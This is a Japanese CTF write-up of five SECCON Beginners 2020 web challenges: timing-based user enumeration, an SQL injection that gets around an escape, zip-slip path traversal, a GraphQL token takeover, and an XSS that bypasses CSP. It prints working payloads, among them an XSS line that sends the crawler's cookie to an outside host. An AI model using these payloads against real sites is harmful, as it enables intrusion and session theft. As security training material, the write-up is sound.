SECCON for beginners 2020 writeup

Seccon 2020 に bigtreefalcon というチーム名で参加しました。 以下、僕が主に取り組んでいた web 問題部分についての Write up です。

[Web] Spy

問題概要

従業員のログインフォームと flask サーバのコード (app.py) 、及びログインサービスを利用しているユーザの候補 (employees.txt) が与えられる。 候補ユーザの中から実際にサービスを利用しているユーザを答えとして送信する。

ポイント

  • タイミング攻撃

解法

app.py の中のログイン処理を読む。 ポイントとなるのは以下の部分。

  1. / に POST された form data name と password を読み取る
  2. name をもつ user を DB から探す
  3. user が存在しない場合は、処理にかかった時間を含むページを返す
  4. user が存在した場合は、 password をハッシュ化して DB に保存されているハッシュ化済みパスワードと比較する
  5. 処理にかかった時間を含むページを返す

ハッシュ化は、コメント中に adds salt and performs stretching so many times と書かれているとおり、時間のかかる処理だと予想できる。 今回はユーザが存在する場合のみハッシュ化が行われる。 したがって、ユーザごとに処理にかかった時間を比較すれば、ユーザがサービスを利用しているかどうか分かる。 今回は丁寧にも処理にかかった時間を html に吐き出してくれているので、その部分を見れば良い。

for e in $(cat employees.txt); do
  echo $e;
  curl -s -X POST -F name=$e -F password=hoge https://spy.quals.beginners.seccon.jp | grep 'It took'
done

ユーザの有無によって処理時間のオーダーが違っていて、

  • 0.1s 〜 1s ... DB にユーザが存在する = ユーザがサービスを利用している
  • 0.0001s 〜 0.001s ... DB にユーザが存在しない = ユーザがサービスを利用していない

と判定できる。

[Web] Tweetstore

単語と件数を与えるとツイートの様なデータを検索できるフォームと、そのサーバサイドのコード (webserver.go) が与えられる。

ポイント

  • SQL インジェクション

解法

まず、何が flag となるのかを探す。 webserver.go を読んでみると、 DB のユーザ名が flag になっていることが分かる。

dbuser := os.Getenv("FLAG")

また、 sql を生成している部分を読むと、フォームの文字列を concat して生成ていることが分かる。 このタイプは SQL インジェクションが有効。 実際に search word フォームに ' -- などと入力すると internal server error が発生するので、 SQL インジェクションで間違いさなそうだと分かる。

sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"

ただし今回は、 '\\' に replace する処理が含まれている。 これでは、例えば単に '; -- を入力しても \\'; -- に replase され Go で escape され \'; -- となりさらに SQL で escape され '; -- となってしまい、前の引用符を閉じることができない。 そこで、 \\'; -- とすることで \\\\'; -- に replase され Go で escape され \\'; -- となりさらに SQL で escape され \'; -- となる。 これはただの円マーク + '; -- となるので、 SQL の文法的に正しいクエリを発行させられる。

これを利用して、以下のように db user 名を返させれば良い。

\\' or 1=0; SELECT usename, usename, now() FROM pg_user; --

[Web] unzip

概要

zip をアップロードすると中身のファイル名とその内容を表示してくれるwebページ、及びそのサーバサイドのコード (index.php) と (docker-compose.yml) が与えられる。

ポイント

解法

docker-compose.yml を読むと、php-fpm container の /flag.txt にフラグを含むファイルがマウントされていることが分かる。

また、 index.php を読むと、

  • zip ファイルをアップロードすると、 /uploads/セッションid/ 以下に解答され、 zip に含まれるファイル名が $_SESSION["files"] に記録される
  • https://unzip.quals.beginners.seccon.jp/?filename=ファイル名 にアクセスすると /uploads/セッションid/ファイル名 の内容を表示する

ということが分る。

したがって、ファイル名として ../../flag.txt を与えるとフラグを表示させることができる。 以下のようにして zip を作成してアップロードした後、 https://unzip.quals.beginners.seccon.jp/?filename=../../flag.txt にアクセスすれば良い。

touch ../../flag.txt
zip hoge.zip ../../flag.txt

../ 等を含む名前のファイルをアーカイブしたファイルに関わる脆弱性を zip slip 脆弱性というらしい。

[Web] profiler

概要

ユーザ登録・ログインページ (/) 、プロファイル編集ページ (/profile)、フラグ表示ページ (/flag) が与えられる。 ユーザ登録を済ませると token が表示される。 ログインした後プロファイル編集ページを訪れると、この token を使ってプロファイルを編集できる。 プロファイルページの「Get FLAG」ボタンでフラグ表示ページを訪れると、 Sorry, your token is not administrator's one. This page is only for administrator(uid: admin). と表示される。

ポイント

  • GraphQL

解法

ヒントの通り、難読化された *.js ファイルを読み解く必要はない。ヒントが親切。

flag ページのメッセージから、 admin の token を取得することがポイントになりそうと予想できる。

通信を覗いてみると、 {"query":"query { me {\n uid\n name\n profile\n }\n }"} のようなデータを POST していることが分かる。 これは GraphQL のクエリである。

実は GraphQL は introspection query と呼ばれる特定のクエリをエンドポイントに投げることで、エントリーポイントや型情報の一覧 (schema) を取得することができる。 例えば node.js だと graphql-js を使って schema を取得できる。

const fetch = require('node-fetch');
const {
  getIntrospectionQuery,
  buildClientSchema,
  printSchema,
} = require('graphql');

const GRAPHQL_ENDPOINT = 'https://profiler.quals.beginners.seccon.jp/api';

async function main() {
  try {
    const response = await fetch(
      GRAPHQL_ENDPOINT,
      {
        method: 'POST',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ query: getIntrospectionQuery() }),
      }
    );
    const { data } = await response.json();
    const schema = buildClientSchema(data);
    console.log(printSchema(schema));
  } catch (err) {
    console.error(err);
  }
}

main();

取得できるスキーマは以下の通り。

type Query {
  me: User!
  someone(uid: ID!): User
  flag: String!
}

type User {
  uid: ID!
  name: String!
  profile: String!
  token: String!
}

type Mutation {
  updateProfile(profile: String!, token: String!): Boolean!
  updateToken(token: String!): Boolean!
}

このスキーマから得られた情報から、

  1. ブラウザからユーザ登録
  2. someone(uid: ID!): User を使って admin の token を取得
  3. updateToken(token: String!): Boolean! を使って自分の token を admin と同じものに変更する
  4. ブラウザから flag ページにアクセスする

とするとフラグが取得できる。

# 先にブラウザからユーザ登録する

curl -sS -X POST -H "Content-Type: application/json" -d '{"query":"query { someone(uid: \"admin\") { uid name profile token } }"}' https://profiler.quals.beginners.seccon.jp/api
{"data":{"updateToken":false}}
curl -sS -X POST -H "Content-Type: application/json" -b 'session=セッションid;'  -d '{"query":"mutation { updateToken(token: \"前のクエリで取得したadminのトークン\") }"}' https://profiler.quals.beginners.seccon.jp/api
{"data":{"updateToken":true}}

# この後 https://profiler.quals.beginners.seccon.jp/flag にブラウザでアクセスするとフラグが取得できる

[Web] Somen

概要

そうめんオススメフォームとサーバサイドのコード (index.php) とクローラのコード (worker.js) が与えられる。 フォームに hoge を入力すると /?username=hoge をフラグを cookie にセットしたクローラが訪れてくれる。

ポイント

  • XSS
  • Content Security Policy (CSP)

解法

脆弱性は2箇所ある。

  • headタグ内にユーザ入力をエスケープなしで出力
  • id 属性が message の要素の innerHTML にユーザ入力を含む文字列をエスケープなしで出力

ただし、いくらかのガードもなされている。

  • 別 js ファイルを読み込んで、ユーザ入力が /^[a-zA-Z0-9]*$/ にマッチしない場合は別URLに飛ばす処理
  • Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='

1つめのガードは、入力の最後を <script> で終わらせることで回避できる。

2つめのガードは、 strict-dynamic に着目して回避する。 strict-dynamic以下のような特徴 がある。

The key super power of strict-dynamic is that it will allow /script-loader.js to load additional scripts via non-"parser-inserted" script elements.

この特徴を使うと、以下の入力で XSS ができて、 mydomain.com でクローラの cookie を受け取ることができる。

location.href=`http://mydomain.com/?${document.cookie}`//</title><script id="message"></script><script>

ちなみに、本番では解けなかった。 https://csp-evaluator.withgoogle.com/ で対象ページの CSP を調べたら base-url [missing] と教えてくれたので、 <base> タグを使って頑張っていたけど、1つめのガードを外すことしかできなかった。